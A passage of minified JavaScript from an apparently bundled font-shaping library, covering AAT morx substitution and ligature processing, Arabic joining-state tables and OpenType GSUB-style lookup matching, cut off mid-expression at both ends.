r(&quot;ligatures&quot;,&quot;historicalLigatures&quot;),smcp:Ar(&quot;lowerCase&quot;,&quot;lowerCaseSmallCaps&quot;),pcap:Ar(&quot;lowerCase&quot;,&quot;lowerCasePetiteCaps&quot;),frac:Ar(&quot;fractions&quot;,&quot;diagonalFractions&quot;),dnom:Ar(&quot;fractions&quot;,&quot;diagonalFractions&quot;),numr:Ar(&quot;fractions&quot;,&quot;diagonalFractions&quot;),afrc:Ar(&quot;fractions&quot;,&quot;verticalFractions&quot;),case:Ar(&quot;caseSensitiveLayout&quot;,&quot;caseSensitiveLayout&quot;),ccmp:Ar(&quot;unicodeDecomposition&quot;,&quot;canonicalComposition&quot;),cpct:Ar(&quot;CJKVerticalRomanPlacement&quot;,&quot;CJKVerticalRomanCentered&quot;),valt:Ar(&quot;CJKVerticalRomanPlacement&quot;,&quot;CJKVerticalRomanCentered&quot;),swsh:Ar(&quot;contextualAlternates&quot;,&quot;swashAlternates&quot;),cswh:Ar(&quot;contextualAlternates&quot;,&quot;contextualSwashAlternates&quot;),curs:Ar(&quot;cursiveConnection&quot;,&quot;cursive&quot;),c2pc:Ar(&quot;upperCase&quot;,&quot;upperCasePetiteCaps&quot;),c2sc:Ar(&quot;upperCase&quot;,&quot;upperCaseSmallCaps&quot;),init:Ar(&quot;smartSwash&quot;,&quot;wordInitialSwashes&quot;),fin2:Ar(&quot;smartSwash&quot;,&quot;wordFinalSwashes&quot;),medi:Ar(&quot;smartSwash&quot;,&quot;nonFinalSwashes&quot;),med2:Ar(&quot;smartSwash&quot;,&quot;nonFinalSwashes&quot;),fin3:Ar(&quot;smartSwash&quot;,&quot;wordFinalSwashes&quot;),fina:Ar(&quot;smartSwash&quot;,&quot;wordFinalSwashes&quot;),pkna:Ar(&quot;kanaSpacing&quot;,&quot;proportionalKana&quot;),half:Ar(&quot;textSpacing&quot;,&quot;halfWidthText&quot;),halt:Ar(&quot;textSpacing&quot;,&quot;altHalfWidthText&quot;),hkna:Ar(&quot;alternateKana&quot;,&quot;alternateHorizKana&quot;),vkna:Ar(&quot;alternateKana&quot;,&quot;alternateVertKana&quot;),ital:Ar(&quot;italicCJKRoman&quot;,&quot;CJKItalicRoman&quot;),lnum:Ar(&quot;numberCase&quot;,&quot;upperCaseNumbers&quot;),onum:Ar(&quot;numberCase&quot;,&quot;lowerCaseNumbers&quot;),mgrk:Ar(&quot;mathematicalExtras&quot;,&quot;mathematicalGreek&quot;),calt:Ar(&quot;contextualAlternates&quot;,&quot;contextualAlternates&quot;),vrt2:Ar(&quot;verticalSubstitution&quot;,&quot;substituteVerticalForms&quot;),vert:Ar(&quot;verticalSubstitution&quot;,&quot;substituteVerticalForms&quot;),tnum:Ar(&quot;numberSpacing&quot;,&quot;monospacedNumbers&quot;),pnum:Ar(&quot;numberSpacing&quot;,&quot;proportionalNumbers&quot;),sups:Ar(&quot;verticalPosition&quot;,&quot;superiors&quot;),subs:Ar(&quot;verticalPosition&quot;,&quot;inferiors&quot;),ordn:Ar(&quot;verticalPosition&quot;,&quot;ordinals&quot;),pwid:Ar(&quot;textSpacing&quot;,&quot;proportionalText&quot;),hwid:Ar(&quot;textSpacing&quot;,&quot;halfWidthText&quot;),qwid:Ar(&quot;textSpacing&quot;,&quot;quarterWidthText&quot;),twid:Ar(&quot;textSpacing&quot;,&quot;thirdWidthText&quot;),fwid:Ar(&quot;textSpacing&quot;,&quot;proportionalText&quot;),palt:Ar(&quot;textSpacing&quot;,&quot;altProportionalText&quot;),trad:Ar(&quot;characterShape&quot;,&quot;traditionalCharacters&quot;),smpl:Ar(&quot;characterShape&quot;,&quot;simplifiedCharacters&quot;),jp78:Ar(&quot;characterShape&quot;,&quot;JIS1978Characters&quot;),jp83:Ar(&quot;characterShape&quot;,&quot;JIS1983Characters&quot;),jp90:Ar(&quot;characterShape&quot;,&quot;JIS1990Characters&quot;),jp04:Ar(&quot;characterShape&quot;,&quot;JIS2004Characters&quot;),expt:Ar(&quot;characterShape&quot;,&quot;expertCharacters&quot;),hojo:Ar(&quot;characterShape&quot;,&quot;hojoCharacters&quot;),nlck:Ar(&quot;characterShape&quot;,&quot;NLCCharacters&quot;),tnam:Ar(&quot;characterShape&quot;,&quot;traditionalNamesCharacters&quot;),ruby:Ar(&quot;rubyKana&quot;,&quot;rubyKana&quot;),titl:Ar(&quot;styleOptions&quot;,&quot;titlingCaps&quot;),zero:Ar(&quot;typographicExtras&quot;,&quot;slashedZero&quot;),ss01:Ar(&quot;stylisticAlternatives&quot;,&quot;stylisticAltOne&quot;),ss02:Ar(&quot;stylisticAlternatives&quot;,&quot;stylisticAltTwo&quot;),ss03:Ar(&quot;stylisticAlternatives&quot;,&quot;stylisticAltThree&quot;),ss04:Ar(&quot;stylisticAlternatives&quot;,&quot;stylisticAltFour&quot;),ss05:Ar(&quot;stylisticAlternatives&quot;,&quot;stylisticAltFive&quot;),ss06:Ar(&quot;stylisticAlternatives&quot;,&quot;stylisticAltSix&quot;),ss07:Ar(&quot;stylisticAlternatives&quot;,&quot;stylisticAltSeven&quot;),ss08:Ar(&quot;stylisticAlternatives&quot;,&quot;stylisticAltEight&quot;),ss09:Ar(&quot;stylisticAlternatives&quot;,&quot;stylisticAltNine&quot;),ss10:Ar(&quot;stylisticAlternatives&quot;,&quot;stylisticAltTen&quot;),ss11:Ar(&quot;stylisticAlternatives&quot;,&quot;stylisticAltEleven&quot;),ss12:Ar(&quot;stylisticAlternatives&quot;,&quot;stylisticAltTwelve&quot;),ss13:Ar(&quot;stylisticAlternatives&quot;,&quot;stylisticAltThirteen&quot;),ss14:Ar(&quot;stylisticAlternatives&quot;,&quot;stylisticAltFourteen&quot;),ss15:Ar(&quot;stylisticAlternatives&quot;,&quot;stylisticAltFifteen&quot;),ss16:Ar(&quot;stylisticAlternatives&quot;,&quot;stylisticAltSixteen&quot;),ss17:Ar(&quot;stylisticAlternatives&quot;,&quot;stylisticAltSeventeen&quot;),ss18:Ar(&quot;stylisticAlternatives&quot;,&quot;stylisticAltEighteen&quot;),ss19:Ar(&quot;stylisticAlternatives&quot;,&quot;stylisticAltNineteen&quot;),ss20:Ar(&quot;stylisticAlternatives&quot;,&quot;stylisticAltTwenty&quot;)};for(let e=1;e&lt;=99;e++)Ew[`cv${`00${e}`.slice(-2)}`]=[Vp.characterAlternatives.code,e];let Wp={};for(let e in Ew){let t=Ew[e];Wp[t[0]]==null&amp;&amp;(Wp[t[0]]={}),Wp[t[0]][t[1]]=e}function Eve(e){let t={};for(let r in e){let n;(n=Ew[r])&amp;&amp;(t[n[0]]==null&amp;&amp;(t[n[0]]={}),t[n[0]][n[1]]=e[r])}return t}function _T(e){let[t,r]=e;if(isNaN(t))var n=Vp[t]&amp;&amp;Vp[t].code;else var n=t;if(isNaN(r))var i=Vp[t]&amp;&amp;Vp[t][r];else var i=r;return[n,i]}function Cve(e){let t={};if(Array.isArray(e))for(let r=0;r&lt;e.length;r++){let n,i=_T(e[r]);(n=Wp[i[0]]&amp;&amp;Wp[i[0]][i[1]])&amp;&amp;(t[n]=!0)}else if(typeof e==&quot;object&quot;)for(let r in e){let n=e[r];for(let i in n){let s,o=_T([r,i]);n[i]&amp;&amp;(s=Wp[o[0]]&amp;&amp;Wp[o[0]][o[1]])&amp;&amp;(t[s]=!0)}}return Object.keys(t)}class Kx{lookup(t){switch(this.table.version){case 0:return this.table.values.getItem(t);case 2:case 4:{let i=0,s=this.table.binarySearchHeader.nUnits-1;for(;i&lt;=s;){var r=i+s&gt;&gt;1,n=this.table.segments[r];if(n.firstGlyph===65535)return null;if(t&lt;n.firstGlyph)s=r-1;else if(t&gt;n.lastGlyph)i=r+1;else return this.table.version===2?n.value:n.values[t-n.firstGlyph]}return null}case 6:{let i=0,s=this.table.binarySearchHeader.nUnits-1;for(;i&lt;=s;){var r=i+s&gt;&gt;1,n=this.table.segments[r];if(n.glyph===65535)return null;if(t&lt;n.glyph)s=r-1;else if(t&gt;n.glyph)i=r+1;else return n.value}return null}case 8:return this.table.values[t-this.table.firstGlyph];default:throw new Error(`Unknown lookup table format: ${this.table.version}`)}}glyphsForValue(t){let r=[];switch(this.table.version){case 2:case 4:for(let n of this.table.segments)if(this.table.version===2&amp;&amp;n.value===t)r.push(...RA(n.firstGlyph,n.lastGlyph+1));else for(let i=0;i&lt;n.values.length;i++)n.values[i]===t&amp;&amp;r.push(n.firstGlyph+i);break;case 6:for(let n of this.table.segments)n.value===t&amp;&amp;r.push(n.glyph);break;case 8:for(let n=0;n&lt;this.table.values.length;n++)this.table.values[n]===t&amp;&amp;r.push(this.table.firstGlyph+n);break;default:throw new Error(`Unknown lookup table format: ${this.table.version}`)}return r}constructor(t){this.table=t}}fl([hl],Kx.prototype,&quot;glyphsForValue&quot;,null);const Ive=0,DT=0,TT=1,RT=2,jve=16384;class Nve{process(t,r,n){let i=Ive,s=r?t.length-1:0,o=r?-1:1;for(;o===1&amp;&amp;s&lt;=t.length||o===-1&amp;&amp;s&gt;=-1;){let l=null,c=TT,d=!0;s===t.length||s===-1?c=DT:(l=t[s],l.id===65535?c=RT:(c=this.lookupTable.lookup(l.id),c==null&amp;&amp;(c=TT)));let h=this.stateTable.stateArray.getItem(i)[c],p=this.stateTable.entryTable.getItem(h);c!==DT&amp;&amp;c!==RT&amp;&amp;(n(l,p,s),d=!(p.flags&amp;jve)),i=p.newState,d&amp;&amp;(s+=o)}return t}traverse(t,r=0,n=new Set){if(n.has(r))return;n.add(r);let{nClasses:i,stateArray:s,entryTable:o}=this.stateTable,l=s.getItem(r);for(let c=4;c&lt;i;c++){let d=l[c],u=o.getItem(d);for(let h of this.lookupTable.glyphsForValue(c))t.enter&amp;&amp;t.enter(h,u),u.newState!==0&amp;&amp;this.traverse(t,u.newState,n),t.exit&amp;&amp;t.exit(h,u)}}constructor(t){this.stateTable=t,this.lookupTable=new Kx(t.classTable)}}const Sve=32768,Bve=8192,kve=15,PT=32768,_ve=32768,Dve=8192,Tve=2147483648,Rve=1073741824,Pve=1073741823,QT=4194304,Qve=2048,Fve=1024,Ove=992,Lve=31;class KH{process(t,r={}){for(let i of this.morx.chains){let s=i.defaultFlags;for(let o of i.features){let l;(l=r[o.featureType])&amp;&amp;(l[o.featureSetting]?(s&amp;=o.disableFlags,s|=o.enableFlags):l[o.featureSetting]===!1&amp;&amp;(s|=~o.disableFlags,s&amp;=~o.enableFlags))}for(let o of i.subtables)o.subFeatureFlags&amp;s&amp;&amp;this.processSubtable(o,t)}let n=t.length-1;for(;n&gt;=0;)t[n].id===65535&amp;&amp;t.splice(n,1),n--;return t}processSubtable(t,r){if(this.subtable=t,this.glyphs=r,this.subtable.type===4){this.processNoncontextualSubstitutions(this.subtable,this.glyphs);return}this.ligatureStack=[],this.markedGlyph=null,this.firstGlyph=null,this.lastGlyph=null,this.markedIndex=null;let n=this.getStateMachine(t),i=this.getProcessor(),s=!!(this.subtable.coverage&amp;QT);return n.process(this.glyphs,s,i)}getStateMachine(t){return new Nve(t.table.stateTable)}getProcessor(){switch(this.subtable.type){case 0:return this.processIndicRearragement;case 1:return this.processContextualSubstitution;case 2:return this.processLigature;case 4:return this.processNoncontextualSubstitutions;case 5:return this.processGlyphInsertion;default:throw new Error(`Invalid morx subtable type: ${this.subtable.type}`)}}processIndicRearragement(t,r,n){r.flags&amp;Sve&amp;&amp;(this.firstGlyph=n),r.flags&amp;Bve&amp;&amp;(this.lastGlyph=n),Mve(this.glyphs,r.flags&amp;kve,this.firstGlyph,this.lastGlyph)}processContextualSubstitution(t,r,n){let i=this.subtable.table.substitutionTable.items;if(r.markIndex!==65535){let o=i.getItem(r.markIndex),l=new Kx(o);t=this.glyphs[this.markedGlyph];var s=l.lookup(t.id);s&amp;&amp;(this.glyphs[this.markedGlyph]=this.font.getGlyph(s,t.codePoints))}if(r.currentIndex!==65535){let o=i.getItem(r.currentIndex),l=new Kx(o);t=this.glyphs[n];var s=l.lookup(t.id);s&amp;&amp;(this.glyphs[n]=this.font.getGlyph(s,t.codePoints))}r.flags&amp;PT&amp;&amp;(this.markedGlyph=n)}processLigature(t,r,n){if(r.flags&amp;_ve&amp;&amp;this.ligatureStack.push(n),r.flags&amp;Dve){let i=this.subtable.table.ligatureActions,s=this.subtable.table.components,o=this.subtable.table.ligatureList,l=r.action,c=!1,d=0,u=[],h=[];for(;!c;){let p=this.ligatureStack.pop();u.unshift(...this.glyphs[p].codePoints);let A=i.getItem(l++);c=!!(A&amp;Tve);let y=!!(A&amp;Rve),v=(A&amp;Pve)&lt;&lt;2&gt;&gt;2;v+=this.glyphs[p].id;let w=s.getItem(v);if(d+=w,c||y){let j=o.getItem(d);this.glyphs[p]=this.font.getGlyph(j,u),h.push(p),d=0,u=[]}else this.glyphs[p]=this.font.getGlyph(65535)}this.ligatureStack.push(...h)}}processNoncontextualSubstitutions(t,r,n){let i=new Kx(t.table.lookupTable);for(n=0;n&lt;r.length;n++){let s=r[n];if(s.id!==65535){let o=i.lookup(s.id);o&amp;&amp;(r[n]=this.font.getGlyph(o,s.codePoints))}}}_insertGlyphs(t,r,n,i){let s=[];for(;n--;){let o=this.subtable.table.insertionActions.getItem(r++);s.push(this.font.getGlyph(o))}i||t++,this.glyphs.splice(t,0,...s)}processGlyphInsertion(t,r,n){if(r.flags&amp;PT&amp;&amp;(this.markedIndex=n),r.markedInsertIndex!==65535){let i=(r.flags&amp;Lve)&gt;&gt;&gt;5,s=!!(r.flags&amp;Fve);this._insertGlyphs(this.markedIndex,r.markedInsertIndex,i,s)}if(r.currentInsertIndex!==65535){let i=(r.flags&amp;Ove)&gt;&gt;&gt;5,s=!!(r.flags&amp;Qve);this._insertGlyphs(n,r.currentInsertIndex,i,s)}}getSupportedFeatures(){let t=[];for(let r of this.morx.chains)for(let n of r.features)t.push([n.featureType,n.featureSetting]);return t}generateInputs(t){return this.inputCache||this.generateInputCache(),this.inputCache[t]||[]}generateInputCache(){this.inputCache={};for(let t of this.morx.chains){let r=t.defaultFlags;for(let n of t.subtables)n.subFeatureFlags&amp;r&amp;&amp;this.generateInputsForSubtable(n)}}generateInputsForSubtable(t){if(t.type!==2)return;if(!!(t.coverage&amp;QT))throw new Error(&quot;Reverse subtable, not supported.&quot;);this.subtable=t,this.ligatureStack=[];let n=this.getStateMachine(t),i=this.getProcessor(),s=[],o=[];this.glyphs=[],n.traverse({enter:(l,c)=&gt;{let d=this.glyphs;o.push({glyphs:d.slice(),ligatureStack:this.ligatureStack.slice()});let u=this.font.getGlyph(l);s.push(u),d.push(s[s.length-1]),i(d[d.length-1],c,d.length-1);let h=0,p=0;for(let A=0;A&lt;d.length&amp;&amp;h&lt;=1;A++)d[A].id!==65535&amp;&amp;(h++,p=d[A].id);if(h===1){let A=s.map(v=&gt;v.id),y=this.inputCache[p];y?y.push(A):this.inputCache[p]=[A]}},exit:()=&gt;{({glyphs:this.glyphs,ligatureStack:this.ligatureStack}=o.pop()),s.pop()}})}constructor(t){this.processIndicRearragement=this.processIndicRearragement.bind(this),this.processContextualSubstitution=this.processContextualSubstitution.bind(this),this.processLigature=this.processLigature.bind(this),this.processNoncontextualSubstitutions=this.processNoncontextualSubstitutions.bind(this),this.processGlyphInsertion=this.processGlyphInsertion.bind(this),this.font=t,this.morx=t.morx,this.inputCache=null}}fl([hl],KH.prototype,&quot;getStateMachine&quot;,null);function Ul(e,t,r,n=!1,i=!1){let s=e.splice(r[0]-(r[1]-1),r[1]);i&amp;&amp;s.reverse();let o=e.splice(t[0],t[1],...s);return n&amp;&amp;o.reverse(),e.splice(r[0]-(t[1]-1),0,...o),e}function Mve(e,t,r,n){switch(t){case 0:return e;case 1:return Ul(e,[r,1],[n,0]);case 2:return Ul(e,[r,0],[n,1]);case 3:return Ul(e,[r,1],[n,1]);case 4:return Ul(e,[r,2],[n,0]);case 5:return Ul(e,[r,2],[n,0],!0,!1);case 6:return Ul(e,[r,0],[n,2]);case 7:return Ul(e,[r,0],[n,2],!1,!0);case 8:return Ul(e,[r,1],[n,2]);case 9:return Ul(e,[r,1],[n,2],!1,!0);case 10:return Ul(e,[r,2],[n,1]);case 11:return Ul(e,[r,2],[n,1],!0,!1);case 12:return Ul(e,[r,2],[n,2]);case 13:return Ul(e,[r,2],[n,2],!0,!1);case 14:return Ul(e,[r,2],[n,2],!1,!0);case 15:return Ul(e,[r,2],[n,2],!0,!0);default:throw new Error(`Unknown verb: ${t}`)}}class Uve{substitute(t){t.direction===&quot;rtl&quot;&amp;&amp;t.glyphs.reverse(),this.morxProcessor.process(t.glyphs,Eve(t.features))}getAvailableFeatures(t,r){return Cve(this.morxProcessor.getSupportedFeatures())}stringsForGlyph(t){let r=this.morxProcessor.generateInputs(t),n=new Set;for(let i of r)this._addStrings(i,0,n,&quot;&quot;);return n}_addStrings(t,r,n,i){let s=this.font._cmapProcessor.codePointsForGlyph(t[r]);for(let o of s){let l=i+String.fromCodePoint(o);r&lt;t.length-1?this._addStrings(t,r+1,n,l):n.add(l)}}constructor(t){this.font=t,this.morxProcessor=new KH(t),this.fallbackPosition=!1}}class zve{_addFeatures(t,r){let n=this.stages.length-1,i=this.stages[n];for(let s of t)this.allFeatures[s]==null&amp;&amp;(i.push(s),this.allFeatures[s]=n,r&amp;&amp;(this.globalFeatures[s]=!0))}add(t,r=!0){if(this.stages.length===0&amp;&amp;this.stages.push([]),typeof t==&quot;string&quot;&amp;&amp;(t=[t]),Array.isArray(t))this._addFeatures(t,r);else if(typeof t==&quot;object&quot;)this._addFeatures(t.global||[],!0),this._addFeatures(t.local||[],!1);else throw new Error(&quot;Unsupported argument to ShapingPlan#add&quot;)}addStage(t,r){typeof t==&quot;function&quot;?this.stages.push(t,[]):(this.stages.push([]),this.add(t,r))}setFeatureOverrides(t){if(Array.isArray(t))this.add(t);else if(typeof t==&quot;object&quot;){for(let r in t)if(t[r])this.add(r);else if(this.allFeatures[r]!=null){let n=this.stages[this.allFeatures[r]];n.splice(n.indexOf(r),1),delete this.allFeatures[r],delete this.globalFeatures[r]}}}assignGlobalFeatures(t){for(let r of t)for(let n in this.globalFeatures)r.features[n]=!0}process(t,r,n){for(let i of this.stages)typeof i==&quot;function&quot;?n||i(this.font,r,this):i.length&gt;0&amp;&amp;t.applyFeatures(i,r,n)}constructor(t,r,n){this.font=t,this.script=r,this.direction=n,this.stages=[],this.globalFeatures={},this.allFeatures={}}}const $ve=[&quot;rvrn&quot;],Hve=[&quot;ccmp&quot;,&quot;locl&quot;,&quot;rlig&quot;,&quot;mark&quot;,&quot;mkmk&quot;],qve=[&quot;frac&quot;,&quot;numr&quot;,&quot;dnom&quot;],Gve=[&quot;calt&quot;,&quot;clig&quot;,&quot;liga&quot;,&quot;rclt&quot;,&quot;curs&quot;,&quot;kern&quot;],Vve={ltr:[&quot;ltra&quot;,&quot;ltrm&quot;],rtl:[&quot;rtla&quot;,&quot;rtlm&quot;]};class Fm{static plan(t,r,n){this.planPreprocessing(t),this.planFeatures(t),this.planPostprocessing(t,n),t.assignGlobalFeatures(r),this.assignFeatures(t,r)}static planPreprocessing(t){t.add({global:[...$ve,...Vve[t.direction]],local:qve})}static planFeatures(t){}static planPostprocessing(t,r){t.add([...Hve,...Gve]),t.setFeatureOverrides(r)}static assignFeatures(t,r){for(let n=0;n&lt;r.length;n++){let i=r[n];if(i.codePoints[0]===8260){let s=n,o=n+1;for(;s&gt;0&amp;&amp;EN(r[s-1].codePoints[0]);)r[s-1].features.numr=!0,r[s-1].features.frac=!0,s--;for(;o&lt;r.length&amp;&amp;EN(r[o].codePoints[0]);)r[o].features.dnom=!0,r[o].features.frac=!0,o++;i.features.frac=!0,n=o-1}}}}Bc(Fm,&quot;zeroMarkWidths&quot;,&quot;AFTER_GPOS&quot;);const Wve=new by(oB(&quot;APABAAAAAAAAOAAAAf0BAv7tmi1MxDAUx7vtvjhAgcDgkEgEAnmXEBIMCYaEcygEiqBQ4FAkCE4ikUgMiiBJSAgSiUQSDMn9L9eSl6bddddug9t7yS/trevre+3r27pcNxZiG+yCfdCVv/9LeQxOwRm4AJegD27ALbgD9+ABPJF+z+BN/h7yDj5k/VOWX6SdmU5+wLWknggxDxaS8u0qiiX4uiz9XamQ3wzDMAzDMAzDMAzDVI/h959V/v7BMAzDMAzDMLlyNTNiMSdewVxbiA44B4/guz1qW58VYlMI0WsJ0W+N6kXw0spvPtdwhtkwnGM6uLaV4Xyzg3v3PM9DPfQ/sOg4xPWjipy31P8LTqbU304c/cLCUmWJLNB2Uz2U1KTeRKNmKHVMfbJC+/0loTZRH/W5cvEvBJPMbREkWt3FD1NcqXZBSpuE2Ad0PBehPtNrPtIEdYP+hiRt/V1jIiE69X4NT/uVZI3PUHE9bm5M7ePGdZWy951v7Nn6j8v1WWKP3mt6ttnsigx6VN7Vc0VomSSGqW2mGNP1muZPl7LfjNUaKNFtDGVf2fvE9O7VlBS5j333c5p/eeoOqcs1R/hIqDWLJ7TTlksirVT1SI7l8k4Yp+g3jafGcrU1RM6l9th80XOpnlN97bDNY4i4s61B0Si/ipa0uHMl6zqEjlFfCZm/TM8KmzQDjmuTAQ==&quot;)),FT=[&quot;isol&quot;,&quot;fina&quot;,&quot;fin2&quot;,&quot;fin3&quot;,&quot;medi&quot;,&quot;med2&quot;,&quot;init&quot;],BN={Non_Joining:0,Transparent:6},da=&quot;isol&quot;,Zh=&quot;fina&quot;,ej=&quot;fin2&quot;,Kve=&quot;fin3&quot;,ub=&quot;medi&quot;,db=&quot;med2&quot;,fb=&quot;init&quot;,fi=null,Yve=[[[fi,fi,0],[fi,da,2],[fi,da,1],[fi,da,2],[fi,da,1],[fi,da,6]],[[fi,fi,0],[fi,da,2],[fi,da,1],[fi,da,2],[fi,ej,5],[fi,da,6]],[[fi,fi,0],[fi,da,2],[fb,Zh,1],[fb,Zh,3],[fb,Zh,4],[fb,Zh,6]],[[fi,fi,0],[fi,da,2],[ub,Zh,1],[ub,Zh,3],[ub,Zh,4],[ub,Zh,6]],[[fi,fi,0],[fi,da,2],[db,da,1],[db,da,2],[db,ej,5],[db,da,6]],[[fi,fi,0],[fi,da,2],[da,da,1],[da,da,2],[da,ej,5],[da,da,6]],[[fi,fi,0],[fi,da,2],[fi,da,1],[fi,da,2],[fi,Kve,5],[fi,da,6]]];class Jh extends Fm{static planFeatures(t){t.add([&quot;ccmp&quot;,&quot;locl&quot;]);for(let r=0;r&lt;FT.length;r++){let n=FT[r];t.addStage(n,!1)}t.addStage(&quot;mset&quot;)}static assignFeatures(t,r){super.assignFeatures(t,r);let n=-1,i=0,s=[];for(let l=0;l&lt;r.length;l++){let c,d;var o=r[l];let u=Zve(o.codePoints[0]);if(u===BN.Transparent){s[l]=fi;continue}[d,c,i]=Yve[i][u],d!==fi&amp;&amp;n!==-1&amp;&amp;(s[n]=d),s[l]=c,n=l}for(let l=0;l&lt;r.length;l++){let c;var o=r[l];(c=s[l])&amp;&amp;(o.features[c]=!0)}}}function Zve(e){let t=Wve.get(e);if(t)return t-1;let r=l0(e);return r===&quot;Mn&quot;||r===&quot;Me&quot;||r===&quot;Cf&quot;?BN.Transparent:BN.Non_Joining}class Jve{reset(t={},r=0){this.options=t,this.flags=t.flags||{},this.markAttachmentType=t.markAttachmentType||0,this.index=r}get cur(){return this.glyphs[this.index]||null}shouldIgnore(t){return this.flags.ignoreMarks&amp;&amp;t.isMark||this.flags.ignoreBaseGlyphs&amp;&amp;t.isBase||this.flags.ignoreLigatures&amp;&amp;t.isLigature||this.markAttachmentType&amp;&amp;t.isMark&amp;&amp;t.markAttachmentType!==this.markAttachmentType}move(t){for(this.index+=t;0&lt;=this.index&amp;&amp;this.index&lt;this.glyphs.length&amp;&amp;this.shouldIgnore(this.glyphs[this.index]);)this.index+=t;return 0&gt;this.index||this.index&gt;=this.glyphs.length?null:this.glyphs[this.index]}next(){return this.move(1)}prev(){return this.move(-1)}peek(t=1){let r=this.index,n=this.increment(t);return this.index=r,n}peekIndex(t=1){let r=this.index;this.increment(t);let n=this.index;return this.index=r,n}increment(t=1){let r=t&lt;0?-1:1;for(t=Math.abs(t);t--;)this.move(r);return this.glyphs[this.index]}constructor(t,r){this.glyphs=t,this.reset(r)}}const Xve=[&quot;DFLT&quot;,&quot;dflt&quot;,&quot;latn&quot;];class Cw{findScript(t){if(this.table.scriptList==null)return null;Array.isArray(t)||(t=[t]);for(let r of t)for(let n of this.table.scriptList)if(n.tag===r)return n;return null}selectScript(t,r,n){let i=!1,s;if(!this.script||t!==this.scriptTag){if(s=this.findScript(t),s||(s=this.findScript(Xve)),!s)return this.scriptTag;this.scriptTag=s.tag,this.script=s.script,this.language=null,this.languageTag=null,i=!0}if((!n||n!==this.direction)&amp;&amp;(this.direction=n||WH(t)),r&amp;&amp;r.length&lt;4&amp;&amp;(r+=&quot; &quot;.repeat(4-r.length)),!r||r!==this.languageTag){this.language=null;for(let o of this.script.langSysRecords)if(o.tag===r){this.language=o.langSys,this.languageTag=o.tag;break}this.language||(this.language=this.script.defaultLangSys,this.languageTag=null),i=!0}if(i&amp;&amp;(this.features={},this.language))for(let o of this.language.featureIndexes){let l=this.table.featureList[o],c=this.substituteFeatureForVariations(o);this.features[l.tag]=c||l.feature}return this.scriptTag}lookupsForFeatures(t=[],r){let n=[];for(let i of t){let s=this.features[i];if(s)for(let o of s.lookupListIndexes)r&amp;&amp;r.indexOf(o)!==-1||n.push({feature:i,index:o,lookup:this.table.lookupList.get(o)})}return n.sort((i,s)=&gt;i.index-s.index),n}substituteFeatureForVariations(t){if(this.variationsIndex===-1)return null;let n=this.table.featureVariations.featureVariationRecords[this.variationsIndex].featureTableSubstitution.substitutions;for(let i of n)if(i.featureIndex===t)return i.alternateFeatureTable;return null}findVariationsIndex(t){let r=this.table.featureVariations;if(!r)return-1;let n=r.featureVariationRecords;for(let i=0;i&lt;n.length;i++){let s=n[i].conditionSet.conditionTable;if(this.variationConditionsMatch(s,t))return i}return-1}variationConditionsMatch(t,r){return t.every(n=&gt;{let i=n.axisIndex&lt;r.length?r[n.axisIndex]:0;return n.filterRangeMinValue&lt;=i&amp;&amp;i&lt;=n.filterRangeMaxValue})}applyFeatures(t,r,n){let i=this.lookupsForFeatures(t);this.applyLookups(i,r,n)}applyLookups(t,r,n){this.glyphs=r,this.positions=n,this.glyphIterator=new Jve(r);for(let{feature:i,lookup:s}of t)for(this.currentFeature=i,this.glyphIterator.reset(s.flags);this.glyphIterator.index&lt;r.length;){if(!(i in this.glyphIterator.cur.features)){this.glyphIterator.next();continue}for(let o of s.subTables)if(this.applyLookup(s.lookupType,o))break;this.glyphIterator.next()}}applyLookup(t,r){throw new Error(&quot;applyLookup must be implemented by subclasses&quot;)}applyLookupList(t){let r=this.glyphIterator.options,n=this.glyphIterator.index;for(let i of t){this.glyphIterator.reset(r,n),this.glyphIterator.increment(i.sequenceIndex);let s=this.table.lookupList.get(i.lookupListIndex);this.glyphIterator.reset(s.flags,this.glyphIterator.index);for(let o of s.subTables)if(this.applyLookup(s.lookupType,o))break}return this.glyphIterator.reset(r,n),!0}coverageIndex(t,r){switch(r==null&amp;&amp;(r=this.glyphIterator.cur.id),t.version){case 1:return t.glyphs.indexOf(r);case 2:for(let n of t.rangeRecords)if(n.start&lt;=r&amp;&amp;r&lt;=n.end)return n.startCoverageIndex+r-n.start;break}return-1}match(t,r,n,i){let s=this.glyphIterator.index,o=this.glyphIterator.increment(t),l=0;for(;l&lt;r.length&amp;&amp;o&amp;&amp;n(r[l],o);)i&amp;&amp;i.push(this.glyphIterator.index),l++,o=this.glyphIterator.next();return this.glyphIterator.index=s,l&lt;r.length?!1:i||!0}sequenceMatches(t,r){return this.match(t,r,(n,i)=&gt;n===i.id)}sequenceMatchIndices(t,r){return this.match(t,r,(n,i)=&gt;this.currentFeature in i.features?n===i.id:!1,[])}coverageSequenceMatches(t,r){return this.match(t,r,(n,i)=&gt;this.coverageIndex(n,i.id)&gt;=0)}getClassID(t,r){switch(r.version){case 1:let n=t-r.startGlyph;if(n&gt;=0&amp;&amp;n&lt;r.classValueArray.length)return r.classValueArray[n];break;case 2:for(let i of r.classRangeRecord)if(i.start&lt;=t&amp;&amp;t&lt;=i.end)return i.class;break}return 0}classSequenceMatches(t,r,n){return this.match(t,r,(i,s)=&gt;i===this.getClassID(s.id,n))}applyContext(t){let r,n;switch(t.version){case 1:if(r=this.coverageIndex(t.coverage),r===-1)return!1;n=t.ruleSets[r];for(let i of n)if(this.sequenceMatches(1,i.input))return this.applyLookupList(i.lookupRecords);break;case 2:if(this.coverageIndex(t.coverage)===-1||(r=this.getClassID(this.glyphIterator.cur.id,t.classDef),r===-1))return!1;n=t.classSet[r];for(let i of n)if(this.classSequenceMatches(1,i.classes,t.classDef))return this.applyLookupList(i.lookupRecords);break;case 3:if(this.coverageSequenceMatches(0,t.coverages))return this.applyLookupList(t.lookupRecords);break}return!1}applyChainingContext(t){let r;switch(t.version){case 1:if(r=this.coverageIndex(t.coverage),r===-1)return!1;let n=t.chainRuleSets[r];for(let s of n)if(this.sequenceMatches(-s.backtrack.length,s.backtrack)&amp;&amp;this.sequenceMatches(1,s.input)&amp;&amp;this.sequenceMatches(1+s.input.length,s.lookahead))return this.applyLookupList(s.lookupRecords);break;case 2:if(this.coverageIndex(t.coverage)===-1)return!1;r=this.getClassID(this.glyphIterator.cur.id,t.inputClassDef);let i=t.chainClassSet[r];if(!i)return!1;for(let s of i)if(this.classSequenceMatches(-s.backtrack.length,s.backtrack,t.backtrackClassDef)&amp;&amp;this.classSequenceMatches(1,s.input,t.inputClassDef)&amp;&amp;this.classSequenceMatches(1+s.input.length,s.lookahead,t.lookaheadClassDef))return this.applyLookupList(s.lookupRecords);break;case 